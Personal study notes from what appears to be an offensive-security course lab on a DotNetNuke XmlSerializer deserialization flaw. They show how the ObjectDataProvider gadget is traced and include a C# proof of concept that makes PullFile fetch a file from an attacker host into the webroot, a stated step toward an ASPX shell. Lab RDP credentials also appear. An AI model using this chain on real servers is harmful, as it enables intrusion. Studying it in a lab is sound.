.NET deserialization vulnerability in the XMLSerializer Class
Serialization has a producer and consumer. It can be in any state or format as long as it is understood by the consumer.
XMLSerialiser
- Supports only serialization of public properties and fields of an object
- Supports a narrow set of objects and cannot be used to serialize abstract classes
-
The type of the object must be known at runtime otherwise results in an exception
- See: https://docs.microsoft.com/en-us/dotnet/standard/serialization/introducing-xml-serialization
XMLDeserializer
- The deserializer needs to know the type in order to deserialize the object, and therefore needs the namespace to be defined
In VSCode:
Project > Add Reference > Find file to reference
Compiling: Build > Build Solution
If the XML parser can deserialise multiple XML types by manipulating the type(s) it is possible to deserialise a different object. An example would be changing a text type to ExecCMD type in order to perform malicious actions.
RDP Command
xfreerdp +nego +sec-rdp +sec-tls +sec-nla /d: /u: /p: /v:dnn /u:administrator /p:studentlab /size:1180x708
Tools used
-
Use dnSpy debugger to decompile the .NET source code.
-
Determine the correct version to decompile (x64, x86).
========================================================================================
Issue Location
LoadProfile function in “DotNetNuke.Services.Personalization.PersonalizationController” namespace
Reduce Optimisations at Runtime
Specific assembly attributes that reduce optimisation
Change From:
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
Change To:
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints | DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
-
https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.debuggableattribute.debuggingmodes?redirectedfrom=MSDN&view=netframework-4.7.2
-
https://docs.microsoft.com/en-gb/archive/blogs/rmbyers/debuggingmodes-ignoresymbolstoresequencepoints
What is the IIS Worker Process?
Handles Web Requests sent to IIS servers https://stackify.com/w3wp-exe-iis-worker-process
Breakpoints and Functions
Set breakpoint at the vulnerable function, and then access the local instance of the application (with Burp Proxy configured) to hit the breakpoint.
Navigating through vulnerability
- Set breakpoints in potentially vulnerable function
- Navigate through the call stack to identify logic flaws and implementations
- Navigate through local variables at certain breakpoints
===================================================================================
Exploiting vulnerability
- Find an object that can execute malicious code when deserialized
- DotNetNuke.Common.Utilities.FileSystemUtils –> PullFile method + This may allow uploading of ASPX shell but class methods cannot be serialised using XMLSerialiser + Only public properties and fields
- Leveraging publicly known gadgets + ObjectDataProvider gadget
More About ObjectDataProvider Class
A very versatile gadget that can be leveraged to invoke a function. The class is used to as a binding source which provides programmers with relevant data.
- https://docs.microsoft.com/en-us/dotnet/api/system.windows.data.objectdataprovider?redirectedfrom=MSDN&view=netframework-4.7.2
Basic Data Binding Concepts: https://docs.microsoft.com/en-us/dotnet/desktop/wpf/data/?view=netdesktop-6.0
-
https://docs.microsoft.com/en-us/dotnet/desktop/wpf/data/how-to-specify-the-binding-source?view=netframeworkdesktop-4.8
- Used to wrap an arbitrary object and use the MethodName property to call the object
- Uses the MethodParameters property to pass any necessary parameters to the function
- This function can be used as payload for XMLSerializer, because it does not violate any of the limitations
Location of ObjectDataProvider
- System.Windows.Data [ PresentationFramework.dll .NET executable file ]
- May have more than a single instance of this class installed
- “C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF” in AWAE
A Deeper Investigation of ObjectDataProvider Class
Investigate the MethodName property as this is what triggers the wrapped method when called
public string MethodName
{
get
{
return this._methodName;
}
set
{
this._methodName = value;
this.OnPropertyChanged("MethodName");
if (!base.IsRefreshDeferred)
{
# Ultimately, the refresh method is called
base.Refresh();
}
}
}
The base.Refresh function calls BeginQuery
public void Refresh()
{
this._initialLoadCalled = true;
this.BeginQuery();
}
BeginQuery() appears to be a dead-end, but only because the ObjectDataProvider inherited some functions from DataSourceProvider class, which is where we were taken. Navigate back to the ObjectDataProvider class to find the actual BeginQuery method. We eventually reach the following line, which invokes the method:
private void QueryWorker(object obj)
...
obj2 = this.InvokeMethodOnInstance(out ex);
Creating Basic Proof of Concept using ObjectDataProvider Class
This is used to test whether the PullFile method can be invoked using the gadget and XMLSerializer.
```c# (Proof of Concept)
List all available namespaces (includes)
using System; using System.IO; using DotNetNuke.Common.Utilities; using System.Windows.Data; using System.Collections;
namespace ODPSerializer { class Program { static void Main(string[] args) { # Create an ObjectDataProvider instance ObjectDataProvider myODP = new ObjectDataProvider();
# Instruct to wrap a DNN FileSystemUtils object
myODP.ObjectInstance = new FileSystemUtils();
# Setting method name
myODP.MethodName = "PullFile";
# Parameter pointers to Kali machine and local save destination (use DNN webroot)
myODP.MethodParameters.Add("http://192.168.119.122/myODPTest.txt");
myODP.MethodParameters.Add("C:/inetpub/wwwroot/dotnetnuke/PullFileTest.txt");
Console.WriteLine("Done!");
}
} } ``` + Add references from DotNetNuke and PresentationFramework (similar to include files) + Build solution and directly start application from the debugger
Kali - create a web server for PullFile method to retrieve arbitrary file
- Create test file in Apache web root /var/www/html
- Start web server
systemctl start apache2 - Enable logging
tail -f /var/log/apache2/access.log
